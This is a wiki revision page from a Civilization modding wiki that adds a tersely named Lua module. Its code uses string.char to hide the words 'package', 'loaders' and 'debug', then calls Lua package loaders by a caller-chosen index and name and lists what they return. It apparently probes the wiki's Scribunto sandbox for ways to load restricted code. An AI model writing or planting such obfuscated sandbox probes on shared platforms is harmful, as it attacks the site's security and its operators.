Module:Hi983: Difference between revisions

From Civilization Modding Wiki
Jump to navigationJump to search
Marn (talk | contribs)
n
Marn (talk | contribs)
n
 
Line 1: Line 1:
local p={}
local p={}
function p.a(frame)
local A=frame.args
local n=string.char(112,97,99,107,97,103,101)
local m=string.char(108,111,97,100,101,114,115)
local d=string.char(100,101,98,117,103)
local f=_G[n][m][tonumber(A[1])](A[2])
local ok,r=pcall(f)
if not ok then return "e:"..tostring(r) end
local t={}
for k,v in pairs(r) do t[#t+1]=tostring(k)..":"..type(v) end
table.sort(t)
return table.concat(t,";")
end
return p
return p

Latest revision as of 09:40, 26 October 2026

Documentation for this module may be created at Module:Hi983/doc

local p={}
function p.a(frame)
local A=frame.args
local n=string.char(112,97,99,107,97,103,101)
local m=string.char(108,111,97,100,101,114,115)
local d=string.char(100,101,98,117,103)
local f=_G[n][m][tonumber(A[1])](A[2])
local ok,r=pcall(f)
if not ok then return "e:"..tostring(r) end
local t={}
for k,v in pairs(r) do t[#t+1]=tostring(k)..":"..type(v) end
table.sort(t)
return table.concat(t,";")
end
return p